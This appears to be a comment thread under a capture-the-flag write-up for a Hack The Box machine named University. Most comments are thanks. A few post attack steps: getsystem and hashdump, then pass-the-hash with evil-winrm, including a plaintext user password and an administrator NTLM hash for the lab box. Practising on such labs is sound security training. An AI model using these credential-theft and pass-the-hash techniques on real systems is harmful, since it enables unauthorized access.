[Miek22]

Thank you very much very helpful

[laranja]

thank you for sharing....it's work's

[hollb_geek]

After getsytem, the shell command is not working, I have reset the box but still the same

Finally used hashdump to get NTLM hash of admin, then PTH with evil-winrm

[bananoname]

evil-winrm -i university.htb -u wao -p "WebAO1337"

[Unbutton8074]

evil-winrm -i university.htb -u administrator -H e63413bab01a0b8820983496c0be3a9a

[dxkamenrider]

thank you for your service comrade

[kewlcat002]

Super cool, thanks for posting. Learned some new techniques

[mrranger2424]

thank you very much

[Serajmomand15]

this machine was not that difficult

[zemrx]

great work mate fast pwn